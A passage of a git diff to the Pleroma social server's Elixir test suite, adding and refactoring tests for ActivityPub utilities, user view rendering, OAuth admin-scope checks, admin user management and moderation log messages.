+ assert updated_object2.data["likes"] == [user2.ap_id, user.ap_id]
+ assert updated_object2.data["like_count"] == 2
+ end
+ end
+
+ describe "remove_like_from_object/2" do
+ test "removes ap_id from likes" do
+ user = insert(:user)
+ user2 = insert(:user)
+ object = insert(:note, data: %{"likes" => [user.ap_id, user2.ap_id], "like_count" => 2})
+
+ assert {:ok, updated_object} =
+ Utils.remove_like_from_object(
+ %Activity{data: %{"actor" => user.ap_id}},
+ object
+ )
+
+ assert updated_object.data["likes"] == [user2.ap_id]
+ assert updated_object.data["like_count"] == 1
+ end
+ end
+
+ describe "get_existing_like/2" do
+ test "fetches existing like" do
+ note_activity = insert(:note_activity)
+ assert object = Object.normalize(note_activity)
+
+ user = insert(:user)
+ refute Utils.get_existing_like(user.ap_id, object)
+ {:ok, like_activity, _object} = ActivityPub.like(user, object)
+
+ assert ^like_activity = Utils.get_existing_like(user.ap_id, object)
+ end
+ end
+
+ describe "get_get_existing_announce/2" do
+ test "returns nil if announce not found" do
+ actor = insert(:user)
+ refute Utils.get_existing_announce(actor.ap_id, %{data: %{"id" => "test"}})
+ end
+
+ test "fetches existing announce" do
+ note_activity = insert(:note_activity)
+ assert object = Object.normalize(note_activity)
+ actor = insert(:user)
+
+ {:ok, announce, _object} = ActivityPub.announce(actor, object)
+ assert Utils.get_existing_announce(actor.ap_id, object) == announce
+ end
+ end
+
+ describe "fetch_latest_block/2" do
+ test "fetches last block activities" do
+ user1 = insert(:user)
+ user2 = insert(:user)
+
+ assert {:ok, %Activity{} = _} = ActivityPub.block(user1, user2)
+ assert {:ok, %Activity{} = _} = ActivityPub.block(user1, user2)
+ assert {:ok, %Activity{} = activity} = ActivityPub.block(user1, user2)
+
+ assert Utils.fetch_latest_block(user1, user2) == activity
+ end
+ end
+
+ describe "recipient_in_message/3" do
+ test "returns true when recipient in `to`" do
+ recipient = insert(:user)
+ actor = insert(:user)
+ assert Utils.recipient_in_message(recipient, actor, %{"to" => recipient.ap_id})
+
+ assert Utils.recipient_in_message(
+ recipient,
+ actor,
+ %{"to" => [recipient.ap_id], "cc" => ""}
+ )
+ end
+
+ test "returns true when recipient in `cc`" do
+ recipient = insert(:user)
+ actor = insert(:user)
+ assert Utils.recipient_in_message(recipient, actor, %{"cc" => recipient.ap_id})
+
+ assert Utils.recipient_in_message(
+ recipient,
+ actor,
+ %{"cc" => [recipient.ap_id], "to" => ""}
+ )
+ end
+
+ test "returns true when recipient in `bto`" do
+ recipient = insert(:user)
+ actor = insert(:user)
+ assert Utils.recipient_in_message(recipient, actor, %{"bto" => recipient.ap_id})
+
+ assert Utils.recipient_in_message(
+ recipient,
+ actor,
+ %{"bcc" => "", "bto" => [recipient.ap_id]}
+ )
+ end
+
+ test "returns true when recipient in `bcc`" do
+ recipient = insert(:user)
+ actor = insert(:user)
+ assert Utils.recipient_in_message(recipient, actor, %{"bcc" => recipient.ap_id})
+
+ assert Utils.recipient_in_message(
+ recipient,
+ actor,
+ %{"bto" => "", "bcc" => [recipient.ap_id]}
+ )
+ end
+
+ test "returns true when message without addresses fields" do
+ recipient = insert(:user)
+ actor = insert(:user)
+ assert Utils.recipient_in_message(recipient, actor, %{"bccc" => recipient.ap_id})
+
+ assert Utils.recipient_in_message(
+ recipient,
+ actor,
+ %{"btod" => "", "bccc" => [recipient.ap_id]}
+ )
+ end
+
+ test "returns false" do
+ recipient = insert(:user)
+ actor = insert(:user)
+ refute Utils.recipient_in_message(recipient, actor, %{"to" => "ap_id"})
+ end
+ end
+
+ describe "lazy_put_activity_defaults/2" do
+ test "returns map with id and published data" do
+ note_activity = insert(:note_activity)
+ object = Object.normalize(note_activity)
+ res = Utils.lazy_put_activity_defaults(%{"context" => object.data["id"]})
+ assert res["context"] == object.data["id"]
+ assert res["context_id"] == object.id
+ assert res["id"]
+ assert res["published"]
+ end
+
+ test "returns map with fake id and published data" do
+ assert %{
+ "context" => "pleroma:fakecontext",
+ "context_id" => -1,
+ "id" => "pleroma:fakeid",
+ "published" => _
+ } = Utils.lazy_put_activity_defaults(%{}, true)
+ end
+
+ test "returns activity data with object" do
+ note_activity = insert(:note_activity)
+ object = Object.normalize(note_activity)
+
+ res =
+ Utils.lazy_put_activity_defaults(%{
+ "context" => object.data["id"],
+ "object" => %{}
+ })
+
+ assert res["context"] == object.data["id"]
+ assert res["context_id"] == object.id
+ assert res["id"]
+ assert res["published"]
+ assert res["object"]["id"]
+ assert res["object"]["published"]
+ assert res["object"]["context"] == object.data["id"]
+ assert res["object"]["context_id"] == object.id
+ end
+ end
+
+ describe "make_flag_data" do
+ test "returns empty map when params is invalid" do
+ assert Utils.make_flag_data(%{}, %{}) == %{}
+ end
+
+ test "returns map with Flag object" do
+ reporter = insert(:user)
+ target_account = insert(:user)
+ {:ok, activity} = CommonAPI.post(target_account, %{"status" => "foobar"})
+ context = Utils.generate_context_id()
+ content = "foobar"
+
+ target_ap_id = target_account.ap_id
+ activity_ap_id = activity.data["id"]
+
+ res =
+ Utils.make_flag_data(
+ %{
+ actor: reporter,
+ context: context,
+ account: target_account,
+ statuses: [%{"id" => activity.data["id"]}],
+ content: content
+ },
+ %{}
+ )
+
+ note_obj = %{
+ "type" => "Note",
+ "id" => activity_ap_id,
+ "content" => content,
+ "published" => activity.object.data["published"],
+ "actor" => AccountView.render("show.json", %{user: target_account})
+ }
+
+ assert %{
+ "type" => "Flag",
+ "content" => ^content,
+ "context" => ^context,
+ "object" => [^target_ap_id, ^note_obj],
+ "state" => "open"
+ } = res
+ end
+ end
+
+ describe "add_announce_to_object/2" do
+ test "adds actor to announcement" do
+ user = insert(:user)
+ object = insert(:note)
+
+ activity =
+ insert(:note_activity,
+ data: %{
+ "actor" => user.ap_id,
+ "cc" => [Pleroma.Constants.as_public()]
+ }
+ )
+
+ assert {:ok, updated_object} = Utils.add_announce_to_object(activity, object)
+ assert updated_object.data["announcements"] == [user.ap_id]
+ assert updated_object.data["announcement_count"] == 1
+ end
+ end
+
+ describe "remove_announce_from_object/2" do
+ test "removes actor from announcements" do
+ user = insert(:user)
+ user2 = insert(:user)
+
+ object =
+ insert(:note,
+ data: %{"announcements" => [user.ap_id, user2.ap_id], "announcement_count" => 2}
+ )
+
+ activity = insert(:note_activity, data: %{"actor" => user.ap_id})
+
+ assert {:ok, updated_object} = Utils.remove_announce_from_object(activity, object)
+ assert updated_object.data["announcements"] == [user2.ap_id]
+ assert updated_object.data["announcement_count"] == 1
+ end
+ end
+
+ describe "get_cached_emoji_reactions/1" do
+ test "returns the data or an emtpy list" do
+ object = insert(:note)
+ assert Utils.get_cached_emoji_reactions(object) == []
+
+ object = insert(:note, data: %{"reactions" => [["x", ["lain"]]]})
+ assert Utils.get_cached_emoji_reactions(object) == [["x", ["lain"]]]
+
+ object = insert(:note, data: %{"reactions" => %{}})
+ assert Utils.get_cached_emoji_reactions(object) == []
end
end
end
diff --git a/test/web/activity_pub/views/user_view_test.exs b/test/web/activity_pub/views/user_view_test.exs
index 86254117f..8374b8d23 100644
--- a/test/web/activity_pub/views/user_view_test.exs
+++ b/test/web/activity_pub/views/user_view_test.exs
@@ -22,6 +22,37 @@ defmodule Pleroma.Web.ActivityPub.UserViewTest do
assert String.contains?(result["publicKey"]["publicKeyPem"], "BEGIN PUBLIC KEY")
end
+ test "Renders profile fields" do
+ fields = [
+ %{"name" => "foo", "value" => "bar"}
+ ]
+
+ {:ok, user} =
+ insert(:user)
+ |> User.upgrade_changeset(%{fields: fields})
+ |> User.update_and_set_cache()
+
+ assert %{
+ "attachment" => [%{"name" => "foo", "type" => "PropertyValue", "value" => "bar"}]
+ } = UserView.render("user.json", %{user: user})
+ end
+
+ test "Renders with emoji tags" do
+ user = insert(:user, emoji: [%{"bib" => "/test"}])
+
+ assert %{
+ "tag" => [
+ %{
+ "icon" => %{"type" => "Image", "url" => "/test"},
+ "id" => "/test",
+ "name" => ":bib:",
+ "type" => "Emoji",
+ "updated" => "1970-01-01T00:00:00Z"
+ }
+ ]
+ } = UserView.render("user.json", %{user: user})
+ end
+
test "Does not add an avatar image if the user hasn't set one" do
user = insert(:user)
{:ok, user} = User.ensure_keys_present(user)
@@ -33,9 +64,7 @@ defmodule Pleroma.Web.ActivityPub.UserViewTest do
user =
insert(:user,
avatar: %{"url" => [%{"href" => "https://someurl"}]},
- info: %{
- banner: %{"url" => [%{"href" => "https://somebanner"}]}
- }
+ banner: %{"url" => [%{"href" => "https://somebanner"}]}
)
{:ok, user} = User.ensure_keys_present(user)
@@ -45,6 +74,12 @@ defmodule Pleroma.Web.ActivityPub.UserViewTest do
assert result["image"]["url"] == "https://somebanner"
end
+ test "renders an invisible user with the invisible property set to true" do
+ user = insert(:user, invisible: true)
+
+ assert %{"invisible" => true} = UserView.render("service.json", %{user: user})
+ end
+
describe "endpoints" do
test "local users have a usable endpoints structure" do
user = insert(:user)
@@ -90,9 +125,17 @@ defmodule Pleroma.Web.ActivityPub.UserViewTest do
other_user = insert(:user)
{:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)
assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user})
- info = Map.put(user.info, :hide_followers, true)
- user = Map.put(user, :info, info)
- assert %{"totalItems" => 0} = UserView.render("followers.json", %{user: user})
+ user = Map.merge(user, %{hide_followers_count: true, hide_followers: true})
+ refute UserView.render("followers.json", %{user: user}) |> Map.has_key?("totalItems")
+ end
+
+ test "sets correct totalItems when followers are hidden but the follower counter is not" do
+ user = insert(:user)
+ other_user = insert(:user)
+ {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)
+ assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user})
+ user = Map.merge(user, %{hide_followers_count: false, hide_followers: true})
+ assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user})
end
end
@@ -102,9 +145,48 @@ defmodule Pleroma.Web.ActivityPub.UserViewTest do
other_user = insert(:user)
{:ok, user, _other_user, _activity} = CommonAPI.follow(user, other_user)
assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user})
- info = Map.put(user.info, :hide_follows, true)
- user = Map.put(user, :info, info)
+ user = Map.merge(user, %{hide_follows_count: true, hide_follows: true})
assert %{"totalItems" => 0} = UserView.render("following.json", %{user: user})
end
+
+ test "sets correct totalItems when follows are hidden but the follow counter is not" do
+ user = insert(:user)
+ other_user = insert(:user)
+ {:ok, user, _other_user, _activity} = CommonAPI.follow(user, other_user)
+ assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user})
+ user = Map.merge(user, %{hide_follows_count: false, hide_follows: true})
+ assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user})
+ end
+ end
+
+ test "activity collection page aginates correctly" do
+ user = insert(:user)
+
+ posts =
+ for i <- 0..25 do
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "post #{i}"})
+ activity
+ end
+
+ # outbox sorts chronologically, newest first, with ten per page
+ posts = Enum.reverse(posts)
+
+ %{"next" => next_url} =
+ UserView.render("activity_collection_page.json", %{
+ iri: "#{user.ap_id}/outbox",
+ activities: Enum.take(posts, 10)
+ })
+
+ next_id = Enum.at(posts, 9).id
+ assert next_url =~ next_id
+
+ %{"next" => next_url} =
+ UserView.render("activity_collection_page.json", %{
+ iri: "#{user.ap_id}/outbox",
+ activities: Enum.take(Enum.drop(posts, 10), 10)
+ })
+
+ next_id = Enum.at(posts, 19).id
+ assert next_url =~ next_id
end
end
diff --git a/test/web/activity_pub/visibilty_test.exs b/test/web/activity_pub/visibilty_test.exs
index b62a89e68..4c2e0d207 100644
--- a/test/web/activity_pub/visibilty_test.exs
+++ b/test/web/activity_pub/visibilty_test.exs
@@ -212,7 +212,8 @@ defmodule Pleroma.Web.ActivityPub.VisibilityTest do
test "returns true if user following to author" do
author = insert(:user)
- user = insert(:user, following: [author.ap_id])
+ user = insert(:user)
+ Pleroma.User.follow(user, author)
activity =
insert(:note_activity,
diff --git a/test/web/admin_api/admin_api_controller_test.exs b/test/web/admin_api/admin_api_controller_test.exs
index ee48b752c..5c767219a 100644
--- a/test/web/admin_api/admin_api_controller_test.exs
+++ b/test/web/admin_api/admin_api_controller_test.exs
@@ -1,58 +1,324 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
use Pleroma.Web.ConnCase
+ use Oban.Testing, repo: Pleroma.Repo
alias Pleroma.Activity
+ alias Pleroma.ConfigDB
alias Pleroma.HTML
+ alias Pleroma.ModerationLog
+ alias Pleroma.Repo
+ alias Pleroma.ReportNote
+ alias Pleroma.Tests.ObanHelpers
alias Pleroma.User
alias Pleroma.UserInviteToken
+ alias Pleroma.Web.ActivityPub.Relay
alias Pleroma.Web.CommonAPI
+ alias Pleroma.Web.MastodonAPI.StatusView
alias Pleroma.Web.MediaProxy
import Pleroma.Factory
- describe "/api/pleroma/admin/users" do
- test "Delete" do
- admin = insert(:user, info: %{is_admin: true})
+ setup_all do
+ Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
+
+ :ok
+ end
+
+ setup do
+ admin = insert(:user, is_admin: true)
+ token = insert(:oauth_admin_token, user: admin)
+
+ conn =
+ build_conn()
+ |> assign(:user, admin)
+ |> assign(:token, token)
+
+ {:ok, %{admin: admin, token: token, conn: conn}}
+ end
+
+ describe "with [:auth, :enforce_oauth_admin_scope_usage]," do
+ clear_config([:auth, :enforce_oauth_admin_scope_usage]) do
+ Pleroma.Config.put([:auth, :enforce_oauth_admin_scope_usage], true)
+ end
+
+ test "GET /api/pleroma/admin/users/:nickname requires admin:read:accounts or broader scope",
+ %{admin: admin} do
+ user = insert(:user)
+ url = "/api/pleroma/admin/users/#{user.nickname}"
+
+ good_token1 = insert(:oauth_token, user: admin, scopes: ["admin"])
+ good_token2 = insert(:oauth_token, user: admin, scopes: ["admin:read"])
+ good_token3 = insert(:oauth_token, user: admin, scopes: ["admin:read:accounts"])
+
+ bad_token1 = insert(:oauth_token, user: admin, scopes: ["read:accounts"])
+ bad_token2 = insert(:oauth_token, user: admin, scopes: ["admin:read:accounts:partial"])
+ bad_token3 = nil
+
+ for good_token <- [good_token1, good_token2, good_token3] do
+ conn =
+ build_conn()
+ |> assign(:user, admin)
+ |> assign(:token, good_token)
+ |> get(url)
+
+ assert json_response(conn, 200)
+ end
+
+ for good_token <- [good_token1, good_token2, good_token3] do
+ conn =
+ build_conn()
+ |> assign(:user, nil)
+ |> assign(:token, good_token)
+ |> get(url)
+
+ assert json_response(conn, :forbidden)
+ end
+
+ for bad_token <- [bad_token1, bad_token2, bad_token3] do
+ conn =
+ build_conn()
+ |> assign(:user, admin)
+ |> assign(:token, bad_token)
+ |> get(url)
+
+ assert json_response(conn, :forbidden)
+ end
+ end
+ end
+
+ describe "unless [:auth, :enforce_oauth_admin_scope_usage]," do
+ clear_config([:auth, :enforce_oauth_admin_scope_usage]) do
+ Pleroma.Config.put([:auth, :enforce_oauth_admin_scope_usage], false)
+ end
+
+ test "GET /api/pleroma/admin/users/:nickname requires " <>
+ "read:accounts or admin:read:accounts or broader scope",
+ %{admin: admin} do
+ user = insert(:user)
+ url = "/api/pleroma/admin/users/#{user.nickname}"
+
+ good_token1 = insert(:oauth_token, user: admin, scopes: ["admin"])
+ good_token2 = insert(:oauth_token, user: admin, scopes: ["admin:read"])
+ good_token3 = insert(:oauth_token, user: admin, scopes: ["admin:read:accounts"])
+ good_token4 = insert(:oauth_token, user: admin, scopes: ["read:accounts"])
+ good_token5 = insert(:oauth_token, user: admin, scopes: ["read"])
+
+ good_tokens = [good_token1, good_token2, good_token3, good_token4, good_token5]
+
+ bad_token1 = insert(:oauth_token, user: admin, scopes: ["read:accounts:partial"])
+ bad_token2 = insert(:oauth_token, user: admin, scopes: ["admin:read:accounts:partial"])
+ bad_token3 = nil
+
+ for good_token <- good_tokens do
+ conn =
+ build_conn()
+ |> assign(:user, admin)
+ |> assign(:token, good_token)
+ |> get(url)
+
+ assert json_response(conn, 200)
+ end
+
+ for good_token <- good_tokens do
+ conn =
+ build_conn()
+ |> assign(:user, nil)
+ |> assign(:token, good_token)
+ |> get(url)
+
+ assert json_response(conn, :forbidden)
+ end
+
+ for bad_token <- [bad_token1, bad_token2, bad_token3] do
+ conn =
+ build_conn()
+ |> assign(:user, admin)
+ |> assign(:token, bad_token)
+ |> get(url)
+
+ assert json_response(conn, :forbidden)
+ end
+ end
+ end
+
+ describe "DELETE /api/pleroma/admin/users" do
+ test "single user", %{admin: admin, conn: conn} do
user = insert(:user)
conn =
- build_conn()
- |> assign(:user, admin)
+ conn
|> put_req_header("accept", "application/json")
|> delete("/api/pleroma/admin/users?nickname=#{user.nickname}")
+ log_entry = Repo.one(ModerationLog)
+
+ assert ModerationLog.get_log_entry_message(log_entry) ==
+ "@#{admin.nickname} deleted users: @#{user.nickname}"
+
assert json_response(conn, 200) == user.nickname
end
- test "Create" do
- admin = insert(:user, info: %{is_admin: true})
+ test "multiple users", %{admin: admin, conn: conn} do
+ user_one = insert(:user)
+ user_two = insert(:user)
conn =
- build_conn()
- |> assign(:user, admin)
+ conn
+ |> put_req_header("accept", "application/json")
+ |> delete("/api/pleroma/admin/users", %{
+ nicknames: [user_one.nickname, user_two.nickname]
+ })
+
+ log_entry = Repo.one(ModerationLog)
+
+ assert ModerationLog.get_log_entry_message(log_entry) ==
+ "@#{admin.nickname} deleted users: @#{user_one.nickname}, @#{user_two.nickname}"
+
+ response = json_response(conn, 200)
+ assert response -- [user_one.nickname, user_two.nickname] == []
+ end
+ end
+
+ describe "/api/pleroma/admin/users" do
+ test "Create", %{conn: conn} do
+ conn =
+ conn
+ |> put_req_header("accept", "application/json")
+ |> post("/api/pleroma/admin/users", %{
+ "users" => [
+ %{
+ "nickname" => "lain",
+ "email" => "lain@example.org",
+ "password" => "test"
+ },
+ %{
+ "nickname" => "lain2",
+ "email" => "lain2@example.org",
+ "password" => "test"
+ }
+ ]
+ })
+
+ response = json_response(conn, 200) |> Enum.map(&Map.get(&1, "type"))
+ assert response == ["success", "success"]
+
+ log_entry = Repo.one(ModerationLog)
+
+ assert ["lain", "lain2"] -- Enum.map(log_entry.data["subjects"], & &1["nickname"]) == []
+ end
+
+ test "Cannot create user with existing email", %{conn: conn} do
+ user = insert(:user)
+
+ conn =
+ conn
+ |> put_req_header("accept", "application/json")
+ |> post("/api/pleroma/admin/users", %{
+ "users" => [
+ %{
+ "nickname" => "lain",
+ "email" => user.email,
+ "password" => "test"
+ }
+ ]
+ })
+
+ assert json_response(conn, 409) == [
+ %{
+ "code" => 409,
+ "data" => %{
+ "email" => user.email,
+ "nickname" => "lain"
+ },
+ "error" => "email has already been taken",
+ "type" => "error"
+ }
+ ]
+ end
+
+ test "Cannot create user with existing nickname", %{conn: conn} do
+ user = insert(:user)
+
+ conn =
+ conn
|> put_req_header("accept", "application/json")
|> post("/api/pleroma/admin/users", %{
- "nickname" => "lain",
- "email" => "lain@example.org",
- "password" => "test"
+ "users" => [
+ %{
+ "nickname" => user.nickname,
+ "email" => "someuser@plerama.social",
+ "password" => "test"
+ }
+ ]
})
- assert json_response(conn, 200) == "lain"
+ assert json_response(conn, 409) == [
+ %{
+ "code" => 409,
+ "data" => %{
+ "email" => "someuser@plerama.social",
+ "nickname" => user.nickname
+ },
+ "error" => "nickname has already been taken",
+ "type" => "error"
+ }
+ ]
+ end
+
+ test "Multiple user creation works in transaction", %{conn: conn} do
+ user = insert(:user)
+
+ conn =
+ conn
+ |> put_req_header("accept", "application/json")
+ |> post("/api/pleroma/admin/users", %{
+ "users" => [
+ %{
+ "nickname" => "newuser",
+ "email" => "newuser@pleroma.social",
+ "password" => "test"
+ },
+ %{
+ "nickname" => "lain",
+ "email" => user.email,
+ "password" => "test"
+ }
+ ]
+ })
+
+ assert json_response(conn, 409) == [
+ %{
+ "code" => 409,
+ "data" => %{
+ "email" => user.email,
+ "nickname" => "lain"
+ },
+ "error" => "email has already been taken",
+ "type" => "error"
+ },
+ %{
+ "code" => 409,
+ "data" => %{
+ "email" => "newuser@pleroma.social",
+ "nickname" => "newuser"
+ },
+ "error" => "",
+ "type" => "error"
+ }
+ ]
+
+ assert User.get_by_nickname("newuser") === nil
end
end
describe "/api/pleroma/admin/users/:nickname" do
test "Show", %{conn: conn} do
- admin = insert(:user, info: %{is_admin: true})
user = insert(:user)
- conn =
- conn
- |> assign(:user, admin)
- |> get("/api/pleroma/admin/users/#{user.nickname}")
+ conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}")
expected = %{
"deactivated" => false,
@@ -62,33 +328,28 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
"roles" => %{"admin" => false, "moderator" => false},
"tags" => [],
"avatar" => User.avatar_url(user) |> MediaProxy.url(),
- "display_name" => HTML.strip_tags(user.name || user.nickname)
+ "display_name" => HTML.strip_tags(user.name || user.nickname),
+ "confirmation_pending" => false
}
assert expected == json_response(conn, 200)
end
test "when the user doesn't exist", %{conn: conn} do
- admin = insert(:user, info: %{is_admin: true})
user = build(:user)
- conn =
- conn
- |> assign(:user, admin)
- |> get("/api/pleroma/admin/users/#{user.nickname}")
+ conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}")
assert "Not found" == json_response(conn, 404)
end
end
describe "/api/pleroma/admin/users/follow" do
- test "allows to force-follow another user" do
- admin = insert(:user, info: %{is_admin: true})
+ test "allows to force-follow another user", %{admin: admin, conn: conn} do
user = insert(:user)
follower = insert(:user)
- build_conn()
- |> assign(:user, admin)
+ conn
|> put_req_header("accept", "application/json")
|> post("/api/pleroma/admin/users/follow", %{
"follower" => follower.nickname,
@@ -99,19 +360,22 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
follower = User.get_cached_by_id(follower.id)
assert User.following?(follower, user)
+
+ log_entry = Repo.one(ModerationLog)
+
+ assert ModerationLog.get_log_entry_message(log_entry) ==
+ "@#{admin.nickname} made @#{follower.nickname} follow @#{user.nickname}"
end
end
describe "/api/pleroma/admin/users/unfollow" do
- test "allows to force-unfollow another user" do
- admin = insert(:user, info: %{is_admin: true})
+ test "allows to force-unfollow another user", %{admin: admin, conn: conn} do
user = insert(:user)
follower = insert(:user)
User.follow(follower, user)
- build_conn()
- |> assign(:user, admin)
+ conn
|> put_req_header("accept", "application/json")
|> post("/api/pleroma/admin/users/unfollow", %{
"follower" => follower.nickname,
@@ -122,24 +386,26 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
follower = User.get_cached_by_id(follower.id)
refute User.following?(follower, user)
+
+ log_entry = Repo.one(ModerationLog)
+
+ assert ModerationLog.get_log_entry_message(log_entry) ==
+ "@#{admin.nickname} made @#{follower.nickname} unfollow @#{user.nickname}"
end
end
describe "PUT /api/pleroma/admin/users/tag" do
- setup do
- admin = insert(:user, info: %{is_admin: true})
+ setup %{conn: conn} do
user1 = insert(:user, %{tags: ["x"]})
user2 = insert(:user, %{tags: ["y"]})
user3 = insert(:user, %{tags: ["unchanged"]})
conn =
- build_conn()
- |> assign(:user, admin)
+ conn
|> put_req_header("accept", "application/json")
|> put(
- "/api/pleroma/admin/users/tag?nicknames[]=#{user1.nickname}&nicknames[]=#{
- user2.nickname
- }&tags[]=foo&tags[]=bar"
+ "/api/pleroma/admin/users/tag?nicknames[]=#{user1.nickname}&nicknames[]=" <>
+ "#{user2.nickname}&tags[]=foo&tags[]=bar"
)
%{conn: conn, user1: user1, user2: user2, user3: user3}
@@ -147,12 +413,25 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
test "it appends specified tags to users with specified nicknames", %{
conn: conn,
+ admin: admin,
user1: user1,
user2: user2
} do
assert json_response(conn, :no_content)
assert User.get_cached_by_id(user1.id).tags == ["x", "foo", "bar"]
assert User.get_cached_by_id(user2.id).tags == ["y", "foo", "bar"]
+
+ log_entry = Repo.one(ModerationLog)
+
+ users =
+ [user1.nickname, user2.nickname]
+ |> Enum.map(&"@#{&1}")
+ |> Enum.join(", ")
+
+ tags = ["foo", "bar"] |> Enum.join(", ")
+
+ assert ModerationLog.get_log_entry_message(log_entry) ==
+ "@#{admin.nickname} added tags: #{tags} to users: #{users}"
end
test "it does not modify tags of not specified users", %{conn: conn, user3: user3} do
@@ -162,20 +441,17 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
end
describe "DELETE /api/pleroma/admin/users/tag" do
- setup do
- admin = insert(:user, info: %{is_admin: true})
+ setup %{conn: conn} do
user1 = insert(:user, %{tags: ["x"]})
user2 = insert(:user, %{tags: ["y", "z"]})
user3 = insert(:user, %{tags: ["unchanged"]})
conn =
- build_conn()
- |> assign(:user, admin)
+ conn
|> put_req_header("accept", "application/json")
|> delete(
- "/api/pleroma/admin/users/tag?nicknames[]=#{user1.nickname}&nicknames[]=#{
- user2.nickname
- }&tags[]=x&tags[]=z"
+ "/api/pleroma/admin/users/tag?nicknames[]=#{user1.nickname}&nicknames[]=" <>
+ "#{user2.nickname}&tags[]=x&tags[]=z"
)
%{conn: conn, user1: user1, user2: user2, user3: user3}
@@ -183,12 +459,25 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
test "it removes specified tags from users with specified nicknames", %{
conn: conn,
+ admin: admin,
user1: user1,
user2: user2
} do
assert json_response(conn, :no_content)
assert User.get_cached_by_id(user1.id).tags == []
assert User.get_cached_by_id(user2.id).tags == ["y"]
+
+ log_entry = Repo.one(ModerationLog)
+
+ users =
+ [user1.nickname, user2.nickname]
+ |> Enum.map(&"@#{&1}")
+ |> Enum.join(", ")
+
+ tags = ["x", "z"] |> Enum.join(", ")
+
+ assert ModerationLog.get_log_entry_message(log_entry) ==
+ "@#{admin.nickname} removed tags: #{tags} from users: #{users}"
end
test "it does not modify tags of not specified users", %{conn: conn, user3: user3} do
@@ -198,12 +487,9 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
end
describe "/api/pleroma/admin/users/:nickname/permission_group" do
- test "GET is giving user_info" do
- admin = insert(:user, info: %{is_admin: true})
-
+ test "GET is giving user_info", %{admin: admin, conn: conn} do
conn =
- build_conn()
- |> assign(:user, admin)
+ conn
|> put_req_header("accept", "application/json")
|> get("/api/pleroma/admin/users/#{admin.nickname}/permission_group/")
@@ -213,115 +499,106 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
}
end
- test "/:right POST, can add to a permission group" do
- admin = insert(:user, info: %{is_admin: true})
+ test "/:right POST, can add to a permission group", %{admin: admin, conn: conn} do
user = insert(:user)
conn =
- build_conn()
- |> assign(:user, admin)
+ conn
|> put_req_header("accept", "application/json")
|> post("/api/pleroma/admin/users/#{user.nickname}/permission_group/admin")
assert json_response(conn, 200) == %{
"is_admin" => true
}
- end
-
- test "/:right DELETE, can remove from a permission group" do
- admin = insert(:user, info: %{is_admin: true})
- user = insert(:user, info: %{is_admin: true})
- conn =
- build_conn()
- |> assign(:user, admin)
- |> put_req_header("accept", "application/json")
- |> delete("/api/pleroma/admin/users/#{user.nickname}/permission_group/admin")
+ log_entry = Repo.one(ModerationLog)
- assert json_response(conn, 200) == %{
- "is_admin" => false
- }
+ assert ModerationLog.get_log_entry_message(log_entry) ==
+ "@#{admin.nickname} made @#{user.nickname} admin"
end
- end
- describe "PUT /api/pleroma/admin/users/:nickname/activation_status" do
- setup %{conn: conn} do
- admin = insert(:user, info: %{is_admin: true})
+ test "/:right POST, can add to a permission group (multiple)", %{admin: admin, conn: conn} do
+ user_one = insert(:user)
+ user_two = insert(:user)
conn =
conn
- |> assign(:user, admin)
|> put_req_header("accept", "application/json")
+ |> post("/api/pleroma/admin/users/permission_group/admin", %{
+ nicknames: [user_one.nickname, user_two.nickname]
+ })
- %{conn: conn}
- end
-
- test "deactivates the user", %{conn: conn} do
- user = insert(:user)
+ assert json_response(conn, 200) == %{"is_admin" => true}
- conn =
- conn
- |> put("/api/pleroma/admin/users/#{user.nickname}/activation_status", %{status: false})
+ log_entry = Repo.one(ModerationLog)
- user = User.get_cached_by_id(user.id)
- assert user.info.deactivated == true
- assert json_response(conn, :no_content)
+ assert ModerationLog.get_log_entry_message(log_entry) ==
+ "@#{admin.nickname} made @#{user_one.nickname}, @#{user_two.nickname} admin"
end
- test "activates the user", %{conn: conn} do
- user = insert(:user, info: %{deactivated: true})
+ test "/:right DELETE, can remove from a permission group", %{admin: admin, conn: conn} do
+ user = insert(:user, is_admin: true)
conn =
conn
- |> put("/api/pleroma/admin/users/#{user.nickname}/activation_status", %{status: true})
+ |> put_req_header("accept", "application/json")
+ |> delete("/api/pleroma/admin/users/#{user.nickname}/permission_group/admin")
- user = User.get_cached_by_id(user.id)
- assert user.info.deactivated == false
- assert json_response(conn, :no_content)
+ assert json_response(conn, 200) == %{"is_admin" => false}
+
+ log_entry = Repo.one(ModerationLog)
+
+ assert ModerationLog.get_log_entry_message(log_entry) ==
+ "@#{admin.nickname} revoked admin role from @#{user.nickname}"
end
- test "returns 403 when requested by a non-admin", %{conn: conn} do
- user = insert(:user)
+ test "/:right DELETE, can remove from a permission group (multiple)", %{
+ admin: admin,
+ conn: conn
+ } do
+ user_one = insert(:user, is_admin: true)
+ user_two = insert(:user, is_admin: true)
conn =
conn
- |> assign(:user, user)
- |> put("/api/pleroma/admin/users/#{user.nickname}/activation_status", %{status: false})
+ |> put_req_header("accept", "application/json")
+ |> delete("/api/pleroma/admin/users/permission_group/admin", %{
+ nicknames: [user_one.nickname, user_two.nickname]
+ })
- assert json_response(conn, :forbidden)
+ assert json_response(conn, 200) == %{"is_admin" => false}
+
+ log_entry = Repo.one(ModerationLog)
+
